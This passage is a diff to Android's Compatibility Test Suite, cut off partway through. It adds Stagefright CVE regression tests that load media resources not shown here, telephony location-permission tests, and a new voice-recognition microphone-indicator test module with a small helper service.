diff --git a/tests/tests/security/src/android/security/cts/StagefrightTest.java b/tests/tests/security/src/android/security/cts/StagefrightTest.java
index c978dad..949d4ce 100644
--- a/tests/tests/security/src/android/security/cts/StagefrightTest.java
+++ b/tests/tests/security/src/android/security/cts/StagefrightTest.java
@@ -41,6 +41,7 @@
import android.os.Looper;
import android.os.SystemClock;
import android.platform.test.annotations.AppModeFull;
+import android.os.Parcel;
import android.platform.test.annotations.SecurityTest;
import android.util.Log;
import android.view.Surface;
@@ -1258,6 +1259,127 @@
***********************************************************/
@Test
+ @SecurityTest(minPatchLevel = "2020-12")
+ public void testStagefright_cve_2020_11139() throws Exception {
+ doStagefrightTest(R.raw.cve_2020_11139);
+ }
+
+ @Test
+ @SecurityTest(minPatchLevel = "2020-06")
+ public void testStagefright_cve_2020_3663() throws Exception {
+ doStagefrightTest(R.raw.cve_2020_3663);
+ }
+
+ @Test
+ @SecurityTest(minPatchLevel = "2020-08")
+ public void testStagefright_cve_2020_11122() throws Exception {
+ doStagefrightTest(R.raw.cve_2020_11122);
+ }
+
+ @Test
+ @SecurityTest(minPatchLevel = "2020-07")
+ public void testStagefright_cve_2020_3688() throws Exception {
+ doStagefrightTest(R.raw.cve_2020_3688);
+ }
+
+ @Test
+ @SecurityTest(minPatchLevel = "2020-11")
+ public void testStagefright_cve_2020_11168() throws Exception {
+ doStagefrightTest(R.raw.cve_2020_11168);
+ }
+
+ @Test
+ @SecurityTest(minPatchLevel = "2020-06")
+ public void testStagefright_cve_2020_3658() throws Exception {
+ doStagefrightTest(R.raw.cve_2020_3658);
+ }
+
+ @Test
+ @SecurityTest(minPatchLevel = "2020-05")
+ public void testStagefright_cve_2020_3633() throws Exception {
+ doStagefrightTest(R.raw.cve_2020_3633);
+ }
+
+ @Test
+ @SecurityTest(minPatchLevel = "2020-06")
+ public void testStagefright_cve_2020_3660() throws Exception {
+ doStagefrightTest(R.raw.cve_2020_3660);
+ }
+
+ @Test
+ @SecurityTest(minPatchLevel = "2020-06")
+ public void testStagefright_cve_2020_3661() throws Exception {
+ doStagefrightTest(R.raw.cve_2020_3661);
+ }
+
+ @Test
+ @SecurityTest(minPatchLevel = "2020-01")
+ public void testStagefright_cve_2019_14013() throws Exception {
+ doStagefrightTest(R.raw.cve_2019_14013);
+ }
+
+ @Test
+ @SecurityTest(minPatchLevel = "2020-06")
+ public void testStagefright_cve_2020_3662() throws Exception {
+ doStagefrightTest(R.raw.cve_2020_3662);
+ }
+
+ @Test
+ @SecurityTest(minPatchLevel = "2021-01")
+ public void testStagefright_cve_2021_0312() throws Exception {
+ assumeFalse(ModuleDetector.moduleIsPlayManaged(
+ getInstrumentation().getContext().getPackageManager(),
+ MainlineModule.MEDIA));
+ doStagefrightTestExtractorSeek(R.raw.cve_2021_0312, 2, new CrashUtils.Config()
+ .setSignals(CrashUtils.SIGSEGV, CrashUtils.SIGBUS, CrashUtils.SIGABRT));
+ }
+
+ @Test
+ @SecurityTest(minPatchLevel = "2018-09")
+ public void testStagefright_cve_2018_9474() throws Exception {
+ MediaPlayer mp = new MediaPlayer();
+ RenderTarget renderTarget = RenderTarget.create();
+ Surface surface = renderTarget.getSurface();
+ mp.setSurface(surface);
+ AssetFileDescriptor fd = getInstrumentation().getContext().getResources()
+ .openRawResourceFd(R.raw.cve_2018_9474);
+
+ mp.setDataSource(fd.getFileDescriptor(), fd.getStartOffset(), fd.getLength());
+ mp.prepare();
+
+ MediaPlayer.TrackInfo[] trackInfos = mp.getTrackInfo();
+ if (trackInfos == null || trackInfos.length == 0) {
+ return;
+ }
+
+ MediaPlayer.TrackInfo trackInfo = trackInfos[0];
+
+ int trackType = trackInfo.getTrackType();
+ MediaFormat format = trackInfo.getFormat();
+
+ Parcel data = Parcel.obtain();
+ trackInfo.writeToParcel(data, 0);
+
+ data.setDataPosition(0);
+ int trackTypeFromParcel = data.readInt();
+ String mimeTypeFromParcel = data.readString();
+ data.recycle();
+
+ if (trackType == trackTypeFromParcel) {
+ assertFalse("Device *IS* vulnerable to CVE-2018-9474",
+ mimeTypeFromParcel.equals("und"));
+ }
+ }
+
+ @Test
+ @SecurityTest(minPatchLevel = "2019-09")
+ public void testStagefright_cve_2019_2108() throws Exception {
+ doStagefrightTestRawBlob(R.raw.cve_2019_2108_hevc, "video/hevc", 320, 240,
+ new CrashUtils.Config().setSignals(CrashUtils.SIGSEGV, CrashUtils.SIGBUS,
+ CrashUtils.SIGABRT));
+ }
+
+ @Test
@SecurityTest(minPatchLevel = "2016-09")
public void testStagefright_cve_2016_3880() throws Exception {
Thread server = new Thread() {
@@ -1334,6 +1456,15 @@
}
@Test
+ @SecurityTest(minPatchLevel = "2021-01")
+ public void testStagefright_bug170240631() throws Exception {
+ assumeFalse(ModuleDetector.moduleIsPlayManaged(
+ getInstrumentation().getContext().getPackageManager(),
+ MainlineModule.MEDIA));
+ doStagefrightTest(R.raw.bug170240631_ts);
+ }
+
+ @Test
@SecurityTest(minPatchLevel = "2020-05")
public void testStagefright_cve_2020_3641() throws Exception {
doStagefrightTest(R.raw.cve_2020_3641);
@@ -1674,6 +1805,11 @@
@Test
@SecurityTest(minPatchLevel = "2019-12")
public void testStagefright_cve_2019_2222() throws Exception {
+ // TODO(b/170987914): This also skips testing hw_codecs.
+ // Update doStagefrightTestRawBlob to skip just the sw_codec test.
+ assumeFalse(ModuleDetector.moduleIsPlayManaged(
+ getInstrumentation().getContext().getPackageManager(),
+ MainlineModule.MEDIA_SOFTWARE_CODEC));
int[] frameSizes = getFrameSizes(R.raw.cve_2019_2222_framelen);
doStagefrightTestRawBlob(R.raw.cve_2019_2222_hevc, "video/hevc", 320, 240, frameSizes);
}
@@ -1688,6 +1824,18 @@
***********************************************************/
@Test
+ @SecurityTest(minPatchLevel = "2019-12")
+ public void testStagefright_cve_2019_2223() throws Exception {
+ // TODO(b/170987914): This also skips testing hw_codecs.
+ // Update doStagefrightTestRawBlob to skip just the sw_codec test.
+ assumeFalse(ModuleDetector.moduleIsPlayManaged(
+ getInstrumentation().getContext().getPackageManager(),
+ MainlineModule.MEDIA_SOFTWARE_CODEC));
+ int[] frameSizes = getFrameSizes(R.raw.cve_2019_2223_framelen);
+ doStagefrightTestRawBlob(R.raw.cve_2019_2223_hevc, "video/hevc", 320, 240, frameSizes);
+ }
+
+ @Test
@SecurityTest(minPatchLevel = "2019-03")
public void testStagefright_cve_2019_1989() throws Exception {
Object obj[] = getFrameInfo(R.raw.cve_2019_1989_info);
@@ -2274,7 +2422,11 @@
renderTarget.destroy();
}
}
- ex.unselectTrack(t);
+ try {
+ ex.unselectTrack(t);
+ } catch (IllegalArgumentException e) {
+ // since we're just cleaning up, we don't care if it fails
+ }
}
ex.release();
String cve = rname.replace("_", "-").toUpperCase();
diff --git a/tests/tests/slice/src/android/slice/cts/SliceProviderTest.kt b/tests/tests/slice/src/android/slice/cts/SliceProviderTest.kt
index ca76d2b..e2fd053 100644
--- a/tests/tests/slice/src/android/slice/cts/SliceProviderTest.kt
+++ b/tests/tests/slice/src/android/slice/cts/SliceProviderTest.kt
@@ -21,6 +21,7 @@
import android.net.Uri
import android.os.Bundle
+import android.platform.test.annotations.SecurityTest
import androidx.test.rule.ActivityTestRule
import androidx.test.runner.AndroidJUnit4
import org.junit.Before
@@ -61,6 +62,7 @@
}
@Test
+ @SecurityTest(minPatchLevel = "2019-11-01")
fun testCallSliceUri_ValidAuthority() {
assumeFalse(isSlicesDisabled)
@@ -68,6 +70,7 @@
}
@Test(expected = SecurityException::class)
+ @SecurityTest(minPatchLevel = "2019-11-01")
fun testCallSliceUri_ShadyAuthority() {
assumeFalse(isSlicesDisabled)
diff --git a/tests/tests/syncmanager/AndroidTest.xml b/tests/tests/syncmanager/AndroidTest.xml
index 4c53d79..72e13ae 100644
--- a/tests/tests/syncmanager/AndroidTest.xml
+++ b/tests/tests/syncmanager/AndroidTest.xml
@@ -48,6 +48,8 @@
</target_preparer>
<test class="com.android.tradefed.testtype.AndroidJUnitTest" >
<option name="package" value="android.content.syncmanager.cts" />
- <option name="runtime-hint" value="10m00s" />
+ <!-- max timeout of 10 min for each test -->
+ <option name="test-timeout" value="600000" />
+ <option name="runtime-hint" value="20m00s" />
</test>
</configuration>
diff --git a/tests/tests/telephony/current/src/android/telephony/cts/SubscriptionManagerTest.java b/tests/tests/telephony/current/src/android/telephony/cts/SubscriptionManagerTest.java
index b3b4feb..78561b5 100644
--- a/tests/tests/telephony/current/src/android/telephony/cts/SubscriptionManagerTest.java
+++ b/tests/tests/telephony/current/src/android/telephony/cts/SubscriptionManagerTest.java
@@ -126,6 +126,7 @@
@AfterClass
public static void tearDownClass() throws Exception {
if (!isSupported()) return;
+ TelephonyUtils.flushTelephonyMetrics(InstrumentationRegistry.getInstrumentation());
}
@Before
diff --git a/tests/tests/telephony/current/src/android/telephony/cts/TelephonyLocationTests.java b/tests/tests/telephony/current/src/android/telephony/cts/TelephonyLocationTests.java
index abe76b8..ed9b38d 100644
--- a/tests/tests/telephony/current/src/android/telephony/cts/TelephonyLocationTests.java
+++ b/tests/tests/telephony/current/src/android/telephony/cts/TelephonyLocationTests.java
@@ -1,5 +1,7 @@
package android.telephony.cts;
+import static org.junit.Assert.assertNotEquals;
+import static org.junit.Assert.assertNotNull;
import static org.junit.Assert.assertNull;
import static org.junit.Assert.assertTrue;
import static org.junit.Assert.fail;
@@ -132,6 +134,28 @@
}
@Test
+ public void testSdk28ServiceStateListeningWithoutPermissions() {
+ if (!mShouldTest) return;
+
+ withRevokedPermission(LOCATION_ACCESS_APP_SDK28_PACKAGE, () -> {
+ ServiceState ss = (ServiceState) performLocationAccessCommand(
+ CtsLocationAccessService.COMMAND_GET_SERVICE_STATE_FROM_LISTENER);
+ assertNotNull(ss);
+ assertNotEquals(ss, ss.createLocationInfoSanitizedCopy(false));
+
+ withRevokedPermission(LOCATION_ACCESS_APP_SDK28_PACKAGE, () -> {
+ ServiceState ss1 = (ServiceState) performLocationAccessCommand(
+ CtsLocationAccessService
+ .COMMAND_GET_SERVICE_STATE_FROM_LISTENER);
+ assertNotNull(ss1);
+ assertNotEquals(ss1, ss1.createLocationInfoSanitizedCopy(true));
+ },
+ Manifest.permission.ACCESS_COARSE_LOCATION);
+ },
+ Manifest.permission.ACCESS_FINE_LOCATION);
+ }
+
+ @Test
public void testRegistryPermissionsForCellLocation() {
if (!mShouldTest) return;
@@ -151,6 +175,18 @@
}
@Test
+ public void testSdk28RegistryPermissionsForCellLocation() {
+ if (!mShouldTest) return;
+
+ withRevokedPermission(LOCATION_ACCESS_APP_SDK28_PACKAGE, () -> {
+ CellLocation cellLocation = (CellLocation) performLocationAccessCommand(
+ CtsLocationAccessService.COMMAND_LISTEN_CELL_LOCATION);
+ assertNull(cellLocation);
+ },
+ Manifest.permission.ACCESS_COARSE_LOCATION);
+ }
+
+ @Test
public void testRegistryPermissionsForCellInfo() {
if (!mShouldTest) return;
@@ -170,6 +206,18 @@
}
@Test
+ public void testSdk28RegistryPermissionsForCellInfo() {
+ if (!mShouldTest) return;
+
+ withRevokedPermission(LOCATION_ACCESS_APP_SDK28_PACKAGE, () -> {
+ List<CellInfo> cis = (List<CellInfo>) performLocationAccessCommand(
+ CtsLocationAccessService.COMMAND_LISTEN_CELL_INFO);
+ assertTrue(cis == null || cis.isEmpty());
+ },
+ Manifest.permission.ACCESS_COARSE_LOCATION);
+ }
+
+ @Test
public void testSdk28CellLocation() {
if (!mShouldTest) return;
diff --git a/tests/tests/telephony/current/src/android/telephony/cts/TelephonyUtils.java b/tests/tests/telephony/current/src/android/telephony/cts/TelephonyUtils.java
index 6b75746..313dd8b 100644
--- a/tests/tests/telephony/current/src/android/telephony/cts/TelephonyUtils.java
+++ b/tests/tests/telephony/current/src/android/telephony/cts/TelephonyUtils.java
@@ -36,6 +36,9 @@
private static final String COMMAND_END_BLOCK_SUPPRESSION = "cmd phone end-block-suppression";
+ private static final String COMMAND_FLUSH_TELEPHONY_METRICS =
+ "/system/bin/dumpsys activity service TelephonyDebugService --metricsproto";
+
public static void addTestEmergencyNumber(Instrumentation instr, String testNumber)
throws Exception {
executeShellCommand(instr, COMMAND_ADD_TEST_EMERGENCY_NUMBER + testNumber);
@@ -50,6 +53,10 @@
executeShellCommand(instr, COMMAND_END_BLOCK_SUPPRESSION);
}
+ public static void flushTelephonyMetrics(Instrumentation instr) throws Exception {
+ executeShellCommand(instr, COMMAND_FLUSH_TELEPHONY_METRICS);
+ }
+
public static boolean isSkt(TelephonyManager telephonyManager) {
return isOperator(telephonyManager, "45005");
}
diff --git a/tests/tests/voiceRecognition/Android.bp b/tests/tests/voiceRecognition/Android.bp
new file mode 100644
index 0000000..ca53417
--- /dev/null
+++ b/tests/tests/voiceRecognition/Android.bp
@@ -0,0 +1,33 @@
+// Copyright (C) 2020 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+// http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+android_test {
+ name: "CtsVoiceRecognitionTestCases",
+ defaults: ["cts_defaults"],
+ // Tag this module as a cts test artifact
+ test_suites: [
+ "cts",
+ "general-tests",
+ ],
+ libs: ["android.test.base"],
+ static_libs: [
+ "ctstestrunner-axt",
+ "compatibility-device-util-axt",
+ "androidx.test.ext.junit",
+ "truth-prebuilt",
+ ],
+ srcs: ["src/**/*.java"],
+ resource_dirs: ["res"],
+ sdk_version: "system_current",
+}
diff --git a/tests/tests/voiceRecognition/AndroidManifest.xml b/tests/tests/voiceRecognition/AndroidManifest.xml
new file mode 100644
index 0000000..41e29cb
--- /dev/null
+++ b/tests/tests/voiceRecognition/AndroidManifest.xml
@@ -0,0 +1,39 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ -->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+ package="android.voicerecognition.cts">
+
+ <uses-permission android:name="android.permission.QUERY_ALL_PACKAGES"/>
+ <uses-permission android:name="android.permission.RECORD_AUDIO" />
+
+ <application android:label="CtsVoiceRecognitionTestCases">
+ <uses-library android:name="android.test.runner"/>
+ <!--The Activity that uses SpeechRecognizer APIs to access RecognitionService -->
+ <activity android:name="SpeechRecognitionActivity"
+ android:label="SpeechRecognitionActivity"
+ android:exported="true">
+ </activity>
+ </application>
+
+ <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
+ android:targetPackage="android.voicerecognition.cts"
+ android:label="CTS tests of android voicerecognition">
+ <meta-data android:name="listener"
+ android:value="com.android.cts.runner.CtsTestRunListener"/>
+ </instrumentation>
+</manifest>
diff --git a/tests/tests/voiceRecognition/AndroidTest.xml b/tests/tests/voiceRecognition/AndroidTest.xml
new file mode 100644
index 0000000..6934357
--- /dev/null
+++ b/tests/tests/voiceRecognition/AndroidTest.xml
@@ -0,0 +1,33 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2020 The Android Open Source Project
+
+ Licensed under the Apache License, Version 2.0 (the "License");
+ you may not use this file except in compliance with the License.
+ You may obtain a copy of the License at
+
+ http://www.apache.org/licenses/LICENSE-2.0
+
+ Unless required by applicable law or agreed to in writing, software
+ distributed under the License is distributed on an "AS IS" BASIS,
+ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ See the License for the specific language governing permissions and
+ limitations under the License.
+-->
+<configuration description="Config for CTS Voice Recognition test cases">
+ <option name="test-suite-tag" value="cts" />
+ <option name="config-descriptor:metadata" key="component" value="framework" />
+ <option name="config-descriptor:metadata" key="parameter" value="not_instant_app" />
+ <option name="config-descriptor:metadata" key="parameter" value="multi_abi" />
+ <option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
+
+ <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
+ <option name="cleanup-apks" value="true"/>
+ <option name="test-file-name" value="CtsVoiceRecognitionTestCases.apk"/>
+ <option name="test-file-name" value="CtsVoiceRecognitionService.apk" />
+ </target_preparer>
+
+ <test class="com.android.tradefed.testtype.AndroidJUnitTest" >
+ <option name="package" value="android.voicerecognition.cts" />
+ <option name="runtime-hint" value="1m" />
+ </test>
+</configuration>
diff --git a/tests/tests/permission3/PermissionEscalationAppNonRuntime/Android.bp b/tests/tests/voiceRecognition/RecognitionService/Android.bp
similarity index 64%
copy from tests/tests/permission3/PermissionEscalationAppNonRuntime/Android.bp
copy to tests/tests/voiceRecognition/RecognitionService/Android.bp
index dd59e9c..2f9fde8 100644
--- a/tests/tests/permission3/PermissionEscalationAppNonRuntime/Android.bp
+++ b/tests/tests/voiceRecognition/RecognitionService/Android.bp
@@ -1,5 +1,5 @@
//
-// Copyright (C) 2016 The Android Open Source Project
+// Copyright (C) 2020 The Android Open Source Project
//
// Licensed under the Apache License, Version 2.0 (the "License");
// you may not use this file except in compliance with the License.
@@ -15,6 +15,14 @@
//
android_test_helper_app {
- name: "CtsPermissionEscalationAppNonRuntime",
- certificate: ":cts-testkey2",
+ name: "CtsVoiceRecognitionService",
+ defaults: ["cts_defaults"],
+ sdk_version: "current",
+ // Tag this module as a cts test artifact
+ test_suites: [
+ "cts",
+ "general-tests"
+ ],
+ srcs: ["src/**/*.java"],
+ resource_dirs: ["res"],
}
diff --git a/tests/tests/voiceRecognition/RecognitionService/AndroidManifest.xml b/tests/tests/voiceRecognition/RecognitionService/AndroidManifest.xml
new file mode 100644
index 0000000..072df55
--- /dev/null
+++ b/tests/tests/voiceRecognition/RecognitionService/AndroidManifest.xml
@@ -0,0 +1,41 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+-->
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+ package="android.recognitionservice.service"
+ android:targetSandboxVersion="2">
+
+ <uses-permission android:name="android.permission.RECORD_AUDIO" />
+
+ <application android:label="CtsVoiceRecognitionService">
+ <uses-library android:name="android.test.runner" />
+
+ <service android:name="CtsVoiceRecognitionService"
+ android:label="@string/service_name"
+ android:exported="true">
+ <intent-filter>
+ <action android:name="android.speech.RecognitionService" />
+ <category android:name="android.intent.category.DEFAULT" />
+ </intent-filter>
+ </service>
+ </application>
+
+ <instrumentation
+ android:name="androidx.test.runner.AndroidJUnitRunner"
+ android:label="The VoiceRecognitionService for CTS test."
+ android:targetPackage="android.recognitionservice.service" >
+ </instrumentation>
+</manifest>
diff --git a/tests/tests/voiceRecognition/RecognitionService/res/values/strings.xml b/tests/tests/voiceRecognition/RecognitionService/res/values/strings.xml
new file mode 100644
index 0000000..f96159c
--- /dev/null
+++ b/tests/tests/voiceRecognition/RecognitionService/res/values/strings.xml
@@ -0,0 +1,20 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ ~ Copyright (C) 2020 The Android Open Source Project
+ ~
+ ~ Licensed under the Apache License, Version 2.0 (the "License");
+ ~ you may not use this file except in compliance with the License.
+ ~ You may obtain a copy of the License at
+ ~
+ ~ http://www.apache.org/licenses/LICENSE-2.0
+ ~
+ ~ Unless required by applicable law or agreed to in writing, software
+ ~ distributed under the License is distributed on an "AS IS" BASIS,
+ ~ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ ~ See the License for the specific language governing permissions and
+ ~ limitations under the License.
+ -->
+
+<resources xmlns:xliff="urn:oasis:names:tc:xliff:document:1.2">
+ <string name="service_name">CtsVoiceRecognitionService</string>
+</resources>
diff --git a/tests/tests/voiceRecognition/RecognitionService/src/com/android/recognitionservice/service/CtsVoiceRecognitionService.java b/tests/tests/voiceRecognition/RecognitionService/src/com/android/recognitionservice/service/CtsVoiceRecognitionService.java
new file mode 100644
index 0000000..25cfadd
--- /dev/null
+++ b/tests/tests/voiceRecognition/RecognitionService/src/com/android/recognitionservice/service/CtsVoiceRecognitionService.java
@@ -0,0 +1,104 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License
+ */
+
+package android.recognitionservice.service;
+
+import android.app.AppOpsManager;
+import android.content.Intent;
+import android.content.pm.PackageManager;
+import android.media.MediaRecorder;
+import android.os.Binder;
+import android.speech.RecognitionService;
+import android.speech.RecognizerIntent;
+import android.util.Log;
+
+import java.io.File;
+import java.io.IOException;
+
+/**
+ * Implementation of {@link RecognitionService} used in the tests.
+ */
+public class CtsVoiceRecognitionService extends RecognitionService {
+
+ private final String TAG = "CtsVoiceRecognitionService";
+
+ private MediaRecorder mMediaRecorder;
+ private File mOutputFile;
+
+ @Override
+ protected void onCancel(Callback listener) {
+ // No-op.
+ }
+
+ @Override
+ protected void onStopListening(Callback listener) {
+ // No-op.
+ }
+
+ @Override
+ protected void onStartListening(Intent recognizerIntent, Callback listener) {
+ Log.d(TAG, "onStartListening");
+ mediaRecorderReady();
+ blameCameraPermission(recognizerIntent, listener.getCallingUid());
+ try {
+ mMediaRecorder.prepare();
+ mMediaRecorder.start();
+ } catch (IOException e) {
+ // We focus on the open mic behavior, wedon't need to real record and save to the file.
+ // Because we don't set the output the output file. The IOException occurred when start.
+ // We catch this and reset the media record.
+ e.printStackTrace();
+ mMediaRecorder.release();
+ mMediaRecorder = null;
+ }
+ }
+
+ @Override
+ public void onDestroy() {
+ Log.d(TAG, "onDestroy");
+ stopRecord();
+ super.onDestroy();
+ }
+
+ // RecognitionService try to blame non-mic permission
+ private void blameCameraPermission(Intent recognizerIntent, int callingPackageUid) {
+ final String callingPackage =
+ recognizerIntent.getStringExtra(RecognizerIntent.EXTRA_CALLING_PACKAGE);
+ final AppOpsManager appOpsManager = getSystemService(AppOpsManager.class);
+ appOpsManager.noteProxyOpNoThrow(AppOpsManager.OPSTR_CAMERA, callingPackage,
+ callingPackageUid, /*attributionTag*/ null, /*message*/ null);
+ }
+
+ private void mediaRecorderReady() {
+ mMediaRecorder = new MediaRecorder();
+ mOutputFile = new File(getExternalCacheDir(), "test.3gp");
+ mMediaRecorder.setAudioSource(MediaRecorder.AudioSource.MIC);
+ mMediaRecorder.setOutputFormat(MediaRecorder.OutputFormat.THREE_GPP);
+ mMediaRecorder.setAudioEncoder(MediaRecorder.OutputFormat.AMR_NB);
+ mMediaRecorder.setOutputFile(mOutputFile);
+ }
+
+ private void stopRecord() {
+ if (mMediaRecorder != null) {
+ mMediaRecorder.stop();
+ mMediaRecorder.release();
+ mMediaRecorder = null;
+ }
+ if (mOutputFile != null && mOutputFile.exists()) {
+ mOutputFile.delete();
+ }
+ }
+}
diff --git a/tests/tests/voiceRecognition/res/layout/main.xml b/tests/tests/voiceRecognition/res/layout/main.xml
new file mode 100644
index 0000000..9cab939
--- /dev/null
+++ b/tests/tests/voiceRecognition/res/layout/main.xml
@@ -0,0 +1,23 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ ~ Copyright (C) 2020 The Android Open Source Project
+ ~
+ ~ Licensed under the Apache License, Version 2.0 (the "License");
+ ~ you may not use this file except in compliance with the License.
+ ~ You may obtain a copy of the License at
+ ~
+ ~ http://www.apache.org/licenses/LICENSE-2.0
+ ~
+ ~ Unless required by applicable law or agreed to in writing, software
+ ~ distributed under the License is distributed on an "AS IS" BASIS,
+ ~ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ ~ See the License for the specific language governing permissions and
+ ~ limitations under the License.
+ -->
+
+<LinearLayout xmlns:android="http://schemas.android.com/apk/res/android"
+ android:orientation="vertical"
+ android:layout_width="match_parent"
+ android:layout_height="match_parent">
+
+</LinearLayout>
\ No newline at end of file
diff --git a/tests/tests/voiceRecognition/src/android/voicerecognition/cts/RecognitionServiceMicIndicatorTest.java b/tests/tests/voiceRecognition/src/android/voicerecognition/cts/RecognitionServiceMicIndicatorTest.java
new file mode 100644
index 0000000..086c1c7
--- /dev/null
+++ b/tests/tests/voiceRecognition/src/android/voicerecognition/cts/RecognitionServiceMicIndicatorTest.java
@@ -0,0 +1,239 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License
+ */
+
+package android.voicerecognition.cts;
+
+import static com.android.compatibility.common.util.ShellUtils.runShellCommand;
+import static com.android.compatibility.common.util.SystemUtil.runWithShellPermissionIdentity;
+
+import static com.google.common.truth.Truth.assertThat;
+import static com.google.common.truth.Truth.assertWithMessage;
+
+import static org.junit.Assume.assumeFalse;
+import static org.junit.Assume.assumeTrue;
+
+import android.Manifest;
+import android.app.compat.CompatChanges;
+import android.content.ComponentName;
+import android.content.Context;
+import android.content.pm.ApplicationInfo;
+import android.content.pm.PackageManager;
+import android.os.Process;
+import android.os.SystemClock;
+import android.provider.DeviceConfig;
+import android.provider.Settings;
+import android.support.test.uiautomator.By;
+import android.support.test.uiautomator.UiDevice;
+import android.support.test.uiautomator.UiObject2;
+import android.util.Log;
+import android.text.TextUtils;
+
+import androidx.test.InstrumentationRegistry;
+import androidx.test.rule.ActivityTestRule;
+import androidx.test.runner.AndroidJUnit4;
+
+import org.junit.After;
+import org.junit.Before;
+import org.junit.Rule;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+@RunWith(AndroidJUnit4.class)
+public final class RecognitionServiceMicIndicatorTest {
+
+ private final String TAG = "RecognitionServiceMicIndicatorTest";
+ // same as Settings.Secure.VOICE_RECOGNITION_SERVICE
+ private final String VOICE_RECOGNITION_SERVICE = "voice_recognition_service";
+ // same as Settings.Secure.VOICE_INTERACTION_SERVICE
+ private final String VOICE_INTERACTION_SERVICE = "voice_interaction_service";
+ // Th notification privacy indicator
+ private final String PRIVACY_CHIP_PACLAGE_NAME = "com.android.systemui";
+ private final String PRIVACY_CHIP_ID = "privacy_chip";
+ // The cts app label
+ private final String APP_LABEL = "CtsVoiceRecognitionTestCases";
+ // A simple test voice recognition service implementation
+ private final String CTS_VOICE_RECOGNITION_SERVICE =
+ "android.recognitionservice.service/android.recognitionservice.service"
+ + ".CtsVoiceRecognitionService";
+ private final String INDICATORS_FLAG = "camera_mic_icons_enabled";
+ private final long INDICATOR_DISMISS_TIMEOUT = 5000L;
+ private final long UI_WAIT_TIMEOUT = 1000L;
+ private final long PERMISSION_INDICATORS_NOT_PRESENT = 162547999L;
+
+ private UiDevice mUiDevice;
+ private SpeechRecognitionActivity mActivity;
+ private Context mContext;
+ private String mOriginalVoiceRecognizer;
+ private String mCameraLabel;
+ private boolean mOriginalIndicatorsEnabledState;
+ private boolean mTestRunnung;
+
+ @Rule
+ public ActivityTestRule<SpeechRecognitionActivity> mActivityTestRule =
+ new ActivityTestRule<>(SpeechRecognitionActivity.class);
+
+ @Before
+ public void setup() {
+ // If the change Id is not present, then isChangeEnabled will return true. To bypass this,
+ // the change is set to "false" if present.
+ assumeFalse("feature not present on this device", runWithShellPermissionIdentity(
+ () -> CompatChanges.isChangeEnabled(PERMISSION_INDICATORS_NOT_PRESENT,
+ Process.SYSTEM_UID)));
+ final PackageManager pm = InstrumentationRegistry.getTargetContext().getPackageManager();
+ boolean hasTvFeature = pm.hasSystemFeature(PackageManager.FEATURE_LEANBACK);
+ assumeFalse("Not run in the tv device", hasTvFeature);
+ mTestRunnung = true;
+ prepareDevice();
+ mContext = InstrumentationRegistry.getTargetContext();
+ mUiDevice = UiDevice.getInstance(InstrumentationRegistry.getInstrumentation());
+ mActivity = mActivityTestRule.getActivity();
+
+ try {
+ mCameraLabel = pm.getPermissionGroupInfo(Manifest.permission_group.CAMERA, 0).loadLabel(
+ pm).toString();
+ } catch (PackageManager.NameNotFoundException e) {
+ }
+ // get original indicator enable state
+ runWithShellPermissionIdentity(() -> {
+ mOriginalIndicatorsEnabledState =
+ DeviceConfig.getBoolean(DeviceConfig.NAMESPACE_PRIVACY, INDICATORS_FLAG, false);
+ });
+ // get original voice services
+ mOriginalVoiceRecognizer = Settings.Secure.getString(
